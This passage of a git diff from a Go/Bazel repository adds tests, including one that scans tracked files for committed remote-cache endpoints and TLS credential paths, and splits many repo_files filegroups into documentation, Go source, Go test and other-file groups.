fail by design. +func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { + python := requireHostTool(t, "python3") + root := sourceRepoRoot(t) + cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", "30", "--weights=duration", "--check") + cmd.Dir = root + if out, err := cmd.CombinedOutput(); err != nil { + t.Errorf("gen_proxied_shard_manifest.py 30 --weights=duration --check: %v\n%s", err, out) + } +} diff --git a/scripts/testing_short_tree_test.go b/scripts/testing_short_tree_test.go new file mode 100644 index 000000000..ffac3fb23 --- /dev/null +++ b/scripts/testing_short_tree_test.go @@ -0,0 +1,33 @@ +package scripts_test + +// check-testing-short.sh over the whole Go tree: //scripts:go_sources_test, +// which declares every .go file (test and non-test) and nothing else. The +// script's own fixture tests are in check_testing_short_test.go. + +import ( + "os" + "os/exec" + "path/filepath" + "runtime" + "testing" +) + +func TestCheckTestingShortPassesOnCleanRepoTree(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("checker is a Bash boundary") + } + repo := sourceRepoRoot(t) + // Under Bazel the tree is //:repo_go_srcs and //:repo_go_test_srcs; a tree + // missing the allowlisted call sites would let the scan pass vacuously. + for _, rel := range []string{"internal/hooks/hooks_test.go", "internal/storage/dolt/concurrent_test.go", "internal/workapi/sweep_test.go"} { + if _, err := os.Stat(filepath.Join(repo, filepath.FromSlash(rel))); err != nil { + t.Fatalf("the scanned tree lacks %s, which holds an allowlisted call: %v", rel, err) + } + } + cmd := exec.Command("bash", filepath.Join(repo, "scripts", "check-testing-short.sh")) + cmd.Dir = repo + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("check-testing-short.sh failed on clean repo tree (all 9 allowlist entries must still be recognized): %v\noutput: %s", err, out) + } +} diff --git a/scripts/tracked_files_test.go b/scripts/tracked_files_test.go new file mode 100644 index 000000000..1fd09c3af --- /dev/null +++ b/scripts/tracked_files_test.go @@ -0,0 +1,295 @@ +package scripts_test + +import ( + "bufio" + "bytes" + "os" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// Scans of every tracked file: //scripts:tracked_files_test, the one target +// here that declares //:repo_files (the whole checkout), so that every other +// target can declare only the partition it reads and stay cached when an +// unrelated file changes. Keep this file to tests that really read every +// tracked file, and keep them cheap: any edit anywhere re-runs them. + +// trackedFilesMin is the fewest files a listing of //:repo_files may hold +// (the checkout has several thousand). +const trackedFilesMin = 1000 + +// --- no remote-execution endpoints in tracked files ------------------------- + +// Remote-execution endpoints, credentials and TLS material belong in a +// gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the +// workspace, never in the repository. The scan covers committed bazelrc-like +// files, Markdown docs and .github/** (plan §3.8) and flags: +// - any remote/BES/TLS flag below whose value is a literal (not a +// , a $VARIABLE/${{ expression }}, empty, or loopback); +// - in rc and .github files, any gRPC URL that is not loopback. Markdown is +// exempt from this rule because beads documents OTel gRPC exporters. +// +// The one exception is publicForkCacheLines. + +var ( + remoteFlagNames = `remote_executor|remote_cache|remote_downloader|remote_header|remote_instance_name|` + + `bes_backend|bes_results_url|bes_header|tls_client_certificate|tls_client_key|tls_certificate` + // `--flag=value` is recognized everywhere; `--flag value` only in rc and + // workflow files, where prose ("--remote_executor and ...") does not occur. + remoteFlagEqRe = regexp.MustCompile(`--(` + remoteFlagNames + `)=("[^"]*"|'[^']*'|[^\s"'` + "`" + `]*)`) + remoteFlagSpaceRe = regexp.MustCompile(`--(` + remoteFlagNames + `)\s+("[^"]*"|'[^']*'|[^\s"'` + "`" + `]+)`) + remoteEndpointRe = regexp.MustCompile(`\bgrpcs?://[^\s"'<>)\]]+`) + loopbackValueRe = regexp.MustCompile(`^(?:[a-z][a-z0-9+.-]*://)?(?:127\.0\.0\.1|localhost|\[::1\])(?:[:/]|$)`) + // remoteScanPrefilter: a file lacking all of these cannot produce a hit. + remoteScanPrefilter = [][]byte{[]byte("--remote_"), []byte("--bes_"), []byte("--tls_"), []byte("grpc")} +) + +// publicForkCacheLines: the endpoint lines of .bazelrc's fork-cache config, +// public by design. rbe-west's rbe-cache endpoint is anonymous and read-only +// (action-cache and CAS reads; writes and Execute are refused by the farm), +// so there is no credential to leak. Exactly these lines, trimmed, and only +// in .bazelrc; the same line anywhere else, or any other endpoint, is still a +// hit. Assembled so this file never contains a literal endpoint. +var publicForkCacheLines = map[string]bool{ + "build:fork-cache --remote_cache=" + forkCacheEndpoint: true, + "build:fork-cache --remote_instance_name=" + forkCacheInstance: true, +} + +// publicRBEForkPin: setup-bazel's fork-credential.sh pins the one endpoint +// rbe-fork-mint may hand a fork run (rbe-fork, :8444), so a compromised +// mint cannot point fork builds elsewhere. It is public and carries no +// credential: allowed as exactly this line, in exactly that file (a byte +// copy of gascity's tools/rbe/fork-credential.sh). +const ( + publicRBEForkPinFile = ".github/actions/setup-bazel/fork-credential.sh" + publicRBEForkPinLine = `ENDPOINT_RE=${RBE_FORK_ENDPOINT_RE:-'^` + "grpc" + `s://rbe-fork\.ops\.gascity\.com:8444$'}` +) + +type endpointHit struct { + path string + line int + what string +} + +// remoteScanKind classifies a tracked path for the endpoint scan. +func remoteScanKind(rel string) (scan, strict bool) { + base := filepath.Base(rel) + switch { + case strings.Contains(base, "bazelrc"), strings.HasPrefix(rel, ".github/"): + return true, true + case strings.HasSuffix(base, ".md"): + return true, false + } + return false, false +} + +func allowedRemoteValue(v string) bool { + v = strings.Trim(v, `"'`) + if i := strings.Index(v, "://"); i >= 0 { + v = v[i+len("://"):] + } + return v == "" || strings.HasPrefix(v, "<") || strings.HasPrefix(v, "$") || loopbackValueRe.MatchString(v) +} + +// findRemoteEndpoints reports literal remote endpoints/credentials in content. +// strict enables the whitespace-separated flag form and the gRPC URL rule. +func findRemoteEndpoints(path string, content []byte, strict bool) []endpointHit { + if bytes.IndexByte(content, 0) >= 0 { // binary + return nil + } + relevant := false + for _, needle := range remoteScanPrefilter { + if bytes.Contains(content, needle) { + relevant = true + break + } + } + if !relevant { + return nil + } + flagRes := []*regexp.Regexp{remoteFlagEqRe} + if strict { + flagRes = append(flagRes, remoteFlagSpaceRe) + } + var hits []endpointHit + scanner := bufio.NewScanner(bytes.NewReader(content)) + scanner.Buffer(make([]byte, 0, 64*1024), 16*1024*1024) + for n := 1; scanner.Scan(); n++ { + line := scanner.Text() + if path == ".bazelrc" && publicForkCacheLines[strings.TrimSpace(line)] { + continue + } + if path == publicRBEForkPinFile && line == publicRBEForkPinLine { + continue + } + for _, re := range flagRes { + for _, m := range re.FindAllStringSubmatch(line, -1) { + if !allowedRemoteValue(m[2]) { + hits = append(hits, endpointHit{path: path, line: n, what: m[0]}) + } + } + } + if strict { + for _, url := range remoteEndpointRe.FindAllString(line, -1) { + if !allowedRemoteValue(url) { + hits = append(hits, endpointHit{path: path, line: n, what: url}) + } + } + } + } + return hits +} + +func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { + // Fixtures are assembled at runtime so this file never contains a literal + // endpoint itself. + scheme := "grpc" + "s://" + flag := func(name string) string { return "--" + name } + for _, bad := range []string{ + "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe.example.com:443\n", + "build:remote-exec " + flag("remote_executor") + "=rbe.example.com:443\n", + "build:remote-exec " + flag("remote_executor") + " rbe.example.com:443\n", + "build " + flag("remote_cache") + "=https://cache.example.com\n", + "build " + flag("bes_backend") + "=bes.example.com\n", + "build " + flag("bes_results_url") + "=https://results.example.com/inv/\n", + "build " + flag("remote_header") + "=x-api-key=abc123\n", + "build " + flag("tls_client_certificate") + "=/etc/rbe/client.crt\n", + "build " + flag("tls_client_key") + "=\"/etc/rbe/client.key\"\n", + "# farm: " + scheme + "10.0.0.5:8980\n", + "REMOTE=" + "grpc" + "://cache.internal:9092\n", + } { + if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { + t.Errorf("endpoint fixture not detected: %q", bad) + } + } + for _, ok := range []string{ + "build:remote-exec " + flag("remote_executor") + "=" + scheme + "\n", + "build:remote-exec " + flag("remote_executor") + "=\n", + "build:remote-exec " + flag("tls_client_certificate") + "=\n", + " run: echo \"build " + flag("remote_executor") + "=${{ secrets.BAZEL_REMOTE_EXECUTOR }}\" >> \"$RUNNER_TEMP/ci.bazelrc\"\n", + " " + flag("tls_client_key") + " \"$RUNNER_TEMP/rbe.key\"\n", + " " + flag("remote_executor") + "=" + scheme + "${{ secrets.RBE_HOST }}\n", + flag("remote_cache") + "=" + "grpc" + "://127.0.0.1:50052\n", + flag("remote_cache") + "=localhost:9092\n", + flag("remote_cache") + "=\n", + "build " + flag("remote_timeout") + "=600\n", + "use grpc for transport\n", + } { + if hits := findRemoteEndpoints(".bazelrc", []byte(ok), true); len(hits) != 0 { + t.Errorf("allowed fixture flagged: %q -> %v", ok, hits) + } + } + // The fork cache's public endpoint: exactly its two .bazelrc lines. + forkCache := "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n" + + " build:fork-cache " + flag("remote_instance_name") + "=oss \n" + if hits := findRemoteEndpoints(".bazelrc", []byte(forkCache), true); len(hits) != 0 { + t.Errorf("fork-cache endpoint lines flagged in .bazelrc: %v", hits) + } + for _, path := range []string{"tools/ci.bazelrc", ".bazelrc.local", "user.bazelrc", ".github/workflows/x.yml", ".github/actions/setup-bazel/x.sh"} { + if hits := findRemoteEndpoints(path, []byte(forkCache), true); len(hits) < 2 { + t.Errorf("fork-cache endpoint lines in %s: hits %v, want both lines flagged (allowlisted in .bazelrc only)", path, hits) + } + } + for _, bad := range []string{ + "build:fork-cache " + flag("remote_cache") + "=" + scheme + "other.example:8443\n", + "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "/x\n", + "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + " " + flag("remote_header") + "=x-api-key=abc\n", + "build " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n", + "build:remote-exec " + flag("remote_executor") + "=" + forkCacheEndpoint + "\n", + "build:fork-cache " + flag("remote_instance_name") + "=beads\n", + "# see " + forkCacheEndpoint + "\n", + } { + if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { + t.Errorf("non-allowlisted fork-cache variant not detected in .bazelrc: %q", bad) + } + } + // rbe-fork's endpoint pin: that line in that file only; anything else + // naming the endpoint, there or elsewhere, is flagged. + if hits := findRemoteEndpoints(publicRBEForkPinFile, []byte("set -eu\n"+publicRBEForkPinLine+"\n"), true); len(hits) != 0 { + t.Errorf("rbe-fork endpoint pin flagged in %s: %v", publicRBEForkPinFile, hits) + } + for _, path := range []string{".github/actions/setup-bazel/write-bazelrc.sh", ".github/workflows/bazel.yml", ".bazelrc", "tools/rbe/fork-credential.sh"} { + if len(findRemoteEndpoints(path, []byte(publicRBEForkPinLine+"\n"), true)) == 0 { + t.Errorf("rbe-fork endpoint pin not flagged in %s (allowlisted in %s only)", path, publicRBEForkPinFile) + } + } + for _, bad := range []string{ + " " + publicRBEForkPinLine, + strings.Replace(publicRBEForkPinLine, "8444", "443", 1), + `ENDPOINT=` + "grpc" + `s://rbe-fork.ops.gascity.com:8444`, + "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe-fork.ops.gascity.com:8444", + } { + if len(findRemoteEndpoints(publicRBEForkPinFile, []byte(bad+"\n"), true)) == 0 { + t.Errorf("non-allowlisted rbe-fork line not detected in %s: %q", publicRBEForkPinFile, bad) + } + } + // Markdown: OTel gRPC exporter URLs and prose mentioning the flag are fine; + // a literal flag value is not. + for _, ok := range []string{ + "Set OTEL_EXPORTER_OTLP_ENDPOINT=" + "grpc" + "://collector:4317\n", + "Pass " + flag("remote_executor") + " and TLS flags from user.bazelrc.\n", + } { + if hits := findRemoteEndpoints("docs/x.md", []byte(ok), false); len(hits) != 0 { + t.Errorf("allowed Markdown fixture flagged: %q -> %v", ok, hits) + } + } + if len(findRemoteEndpoints("docs/x.md", []byte("bazel build "+flag("remote_executor")+"=rbe.example.com:443 //...\n"), false)) == 0 { + t.Error("literal remote_executor in Markdown not detected") + } + for rel, want := range map[string][2]bool{ + ".bazelrc": {true, true}, + "tools/ci.bazelrc": {true, true}, + ".bazelrc.local": {true, true}, + ".github/workflows/x.yml": {true, true}, + "docs/BAZEL.md": {true, false}, + "issues.jsonl": {false, false}, + "internal/telemetry/x.go": {false, false}, + } { + if scan, strict := remoteScanKind(rel); scan != want[0] || strict != want[1] { + t.Errorf("remoteScanKind(%q) = %v,%v, want %v,%v", rel, scan, strict, want[0], want[1]) + } + } + + root := bazelPolicyRoot(t) + var hits []endpointHit + for _, rel := range repoFiles(t, root, trackedFilesMin) { + scan, strict := remoteScanKind(rel) + if !scan { + continue + } + content, err := os.ReadFile(filepath.Join(root, rel)) + if err != nil { + t.Fatalf("read %s: %v", rel, err) + } + hits = append(hits, findRemoteEndpoints(rel, content, strict)...) + } + for _, h := range hits { + t.Errorf("%s:%d: remote endpoint or credential %q in a tracked file; it belongs in a gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the workspace", h.path, h.line, h.what) + } +} + +// TestNoLocalPlanPathsInTrackedFiles: tracked files must not point readers +// at a maintainer's private, out-of-repo planning notes (a home-directory +// planning-notes tree), which no other contributor can open. Cite an +// in-repo doc, a bead, or a PR instead. The needle is assembled at runtime so +// this file does not match itself. +func TestNoLocalPlanPathsInTrackedFiles(t *testing.T) { + root := bazelPolicyRoot(t) + needle := []byte("beads-" + "bazel-plan") + for _, rel := range repoFiles(t, root, trackedFilesMin) { + content, err := os.ReadFile(filepath.Join(root, filepath.FromSlash(rel))) + if err != nil { + t.Fatalf("read %s: %v", rel, err) + } + if bytes.IndexByte(content, 0) >= 0 { + continue // binary, as git grep -I + } + for n, line := range bytes.Split(content, []byte("\n")) { + if bytes.Contains(line, needle) { + t.Errorf("%s:%d: tracked file references a local, non-repo %s path; point at an in-repo doc, bead or PR instead", rel, n+1, needle) + } + } + } +} diff --git a/scripts/workflowtags/BUILD.bazel b/scripts/workflowtags/BUILD.bazel index f5ff5af79..2a50a5d03 100644 --- a/scripts/workflowtags/BUILD.bazel +++ b/scripts/workflowtags/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/test/conformance/BUILD.bazel b/test/conformance/BUILD.bazel index 4758a9c00..6ddf3ddda 100644 --- a/test/conformance/BUILD.bazel +++ b/test/conformance/BUILD.bazel @@ -32,12 +32,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -46,7 +85,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/test/docsync/BUILD.bazel b/test/docsync/BUILD.bazel index dcf713b95..ea3a13d85 100644 --- a/test/docsync/BUILD.bazel +++ b/test/docsync/BUILD.bazel @@ -8,21 +8,81 @@ go_test( "doltpin_test.go", "init_safety_recovery_test.go", ], - # The checkout as Bazel sees it: the docs trees, every link target, and - # every AGENTS.md and test file the agent-instruction checks resolve. - data = ["//:repo_files"], + # Every Markdown file (the docs trees, the root docs, every AGENTS.md), + # every Go test file (the guard-test names the agent instructions cite), + # docs.json, and the other files the docs link to by path. Not the + # checkout: a Go-only or workflow-only change leaves this cached. A link to + # a file outside these fails under Bazel; declare the file here. + data = [ + "//:.github/workflows/bazel.yml", + "//:.golangci.yml", + "//:beads.go", + "//:docs/docs.json", + "//:repo_doc_files", + "//:repo_go_test_srcs", + "//cmd/bd:capability_registry.go", + "//cmd/bd:doctor.go", + "//cmd/bd:init_safety_help.go", + "//cmd/bd:label.go", + "//cmd/bd:main.go", + "//cmd/bd:state.go", + "//internal/testutil:testdoltcommon.go", + "//scripts:bump-version.sh", + "//scripts:check-cli-docs-drift.sh", + "//scripts:generate-cli-docs.sh", + "//scripts:test.sh", + ], deps = ["//internal/testutil/bazeltest"], ) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +91,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/test/docsync/agentfiles_test.go b/test/docsync/agentfiles_test.go index 6547dc137..b83286b25 100644 --- a/test/docsync/agentfiles_test.go +++ b/test/docsync/agentfiles_test.go @@ -82,9 +82,10 @@ func contributorAgentFiles(t *testing.T, root string) []string { // CLAUDE.md`: Claude Code skips AGENTS.md files when a CLAUDE.md exists above // them), every nested one is listed in the root routing table, and every // local link, backticked repo path, and backticked guard-test name in them -// resolves. Make targets are not checked. Under Bazel the checkout is -// //:repo_files, where a source symlink arrives as its target's content, so -// CLAUDE.md is checked by content: a copy that drifts from AGENTS.md fails. +// resolves. Make targets are not checked. Under Bazel the tree is the test's +// data (every Markdown file among it), where a source symlink arrives as its +// target's content, so CLAUDE.md is checked by content: a copy that drifts +// from AGENTS.md fails. func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { root := repoRoot() agentFiles := contributorAgentFiles(t, root) @@ -167,7 +168,7 @@ func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { } if len(broken) > 0 { sort.Strings(broken) - t.Errorf("agent instruction files reference paths that do not exist (%d):", len(broken)) + t.Errorf("agent instruction files reference paths that do not exist (%d)%s:", len(broken), declaredDataHint()) for _, b := range broken { t.Errorf(" %s", b) } diff --git a/test/docsync/docsync_test.go b/test/docsync/docsync_test.go index df734e1f9..ad81edf1b 100644 --- a/test/docsync/docsync_test.go +++ b/test/docsync/docsync_test.go @@ -31,6 +31,15 @@ func repoRoot() string { return filepath.Join(filepath.Dir(filename), "..", "..") } +// declaredDataHint is appended to a broken-path report under Bazel, where the +// test sees only the files test/docsync/BUILD.bazel declares. +func declaredDataHint() string { + if !bazeltest.IsBazel() { + return "" + } + return " (under Bazel only declared files exist: if a path below is in the checkout, add it to docsync_test's data in test/docsync/BUILD.bazel)" +} + var markdownLinkRE = regexp.MustCompile(`\[[^][]*\]\(([^)]+)\)`) // docsPublishExemptions lists markdown files under docs/ that are allowed to @@ -334,7 +343,7 @@ func TestDocsSiteLinks(t *testing.T) { if len(broken) > 0 { sort.Strings(broken) - t.Errorf("broken or misconvention links in docs/ (%d):", len(broken)) + t.Errorf("broken or misconvention links in docs/ (%d)%s:", len(broken), declaredDataHint()) for _, b := range broken { t.Errorf(" %s", b) } @@ -386,7 +395,7 @@ func TestEngdocsAndRootMarkdownLinks(t *testing.T) { if len(broken) > 0 { sort.Strings(broken) - t.Errorf("broken local markdown links (%d) — engdocs/ and root files are GitHub-viewed and need exact paths:", len(broken)) + t.Errorf("broken local markdown links (%d) — engdocs/ and root files are GitHub-viewed and need exact paths%s:", len(broken), declaredDataHint()) for _, b := range broken { t.Errorf(" %s", b) } diff --git a/test/testmainconvention/BUILD.bazel b/test/testmainconvention/BUILD.bazel index cdb841788..b7d3537b9 100644 --- a/test/testmainconvention/BUILD.bazel +++ b/test/testmainconvention/BUILD.bazel @@ -8,12 +8,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -22,7 +61,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tests/hook_timeout_backends/BUILD.bazel b/tests/hook_timeout_backends/BUILD.bazel index aef412762..ec9fa9945 100644 --- a/tests/hook_timeout_backends/BUILD.bazel +++ b/tests/hook_timeout_backends/BUILD.bazel @@ -40,12 +40,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -54,7 +93,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tests/migration/BUILD.bazel b/tests/migration/BUILD.bazel index 4d5bf1f21..36a2ffb5d 100644 --- a/tests/migration/BUILD.bazel +++ b/tests/migration/BUILD.bazel @@ -111,12 +111,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -125,7 +164,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tests/regression/BUILD.bazel b/tests/regression/BUILD.bazel index ee7410d1a..b0c7f12ca 100644 --- a/tests/regression/BUILD.bazel +++ b/tests/regression/BUILD.bazel @@ -51,12 +51,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -65,7 +104,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/tests/upgrade_smoke/BUILD.bazel b/tests/upgrade_smoke/BUILD.bazel index be70457de..9963bb535 100644 --- a/tests/upgrade_smoke/BUILD.bazel +++ b/tests/upgrade_smoke/BUILD.bazel @@ -23,12 +23,51 @@ upgrade_smoke_tests( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/third_party/cc_toolchain/BUILD.bazel b/third_party/cc_toolchain/BUILD.bazel index c6e24cb8a..30c5af16d 100644 --- a/third_party/cc_toolchain/BUILD.bazel +++ b/third_party/cc_toolchain/BUILD.bazel @@ -5,12 +5,51 @@ # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -19,7 +58,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel index 086c77351..f27f8bb37 100644 --- a/third_party/patches/BUILD.bazel +++ b/third_party/patches/BUILD.bazel @@ -25,12 +25,51 @@ exports_files(glob(["*.patch"])) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = 